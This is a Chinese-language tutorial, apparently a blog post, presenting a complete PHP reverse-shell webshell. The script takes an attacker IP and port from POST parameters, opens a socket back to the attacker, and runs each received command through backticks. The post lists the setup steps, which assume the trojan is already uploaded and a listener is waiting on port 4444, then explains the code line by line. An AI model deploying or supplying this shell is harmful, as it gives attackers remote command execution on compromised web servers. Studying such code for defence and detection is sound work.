PHP反弹shell
步骤详解:
前提:
①、PHPStudy开启相关服务。
②、假设木马已上传至服务器且可以访问(即执行代码才能反弹shell)。
③、攻击机器和受害服务器要处于同一网段。
1、划线为攻击机的IP+端口。
2、攻击机监听自身端口4444,即可获取执行shell。
<?php
set_time_limit(0);
$ip=$_POST['ip'];
$port=$_POST['port'];
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){echo "error";}
else{
fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
while(!feof($fp)){
fputs($fp,"shell:");
$shell=fgets($fp);
$message=`$shell`;
fputs($fp,$message);
}
fclose($fp);
}
?>
代码注释:
1、set_time_limit()
来控制运行时间。如 set_time_limit(800)
,其中将秒数如果设为0 ,表示持续运行到程序结束。
2、$_POST['ip']
$_POST['port']
表示传递的攻击的IP,PORT。
3、$fp=@fsockopen($ip,$port,$errno,$errstr);
fsockopen — 打开一个网络连接或者一个Unix套接字连接,并且使用@
屏蔽报错信息,返回一个文件句柄$fp
,可以被其他文件类函数调用,例如代码中的fputs(),fgets()
。
4、判断$fp
是否存在,不存在报错echo "error"
,存在就使用fputs()
函数写入连接成功信息。
5、feof()
函数检查是否已到达文件末尾(EOF)。如果出错或者文件指针到了文件末尾(EOF)则返回 TRUE,否则返回 FALSE。使用while在不到读取的文件末尾时一直执行。
6、fputs($fp,"shell:");
向句柄输出shell:的提示
7、$shell=fgets($fp);
将攻击机输入命令通过文件句柄$fp
传递入受害机器,同时使用fget()
函数读取输入的命令,最终传递给$shell
变量存储。
8、$message=`$shell`;
php默认将反单引号的内容作为系统命令执行。
9、fputs($fp,$message);
将结果输出至攻击机端显示。
10、fclose($fp);
关闭文件句柄。
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。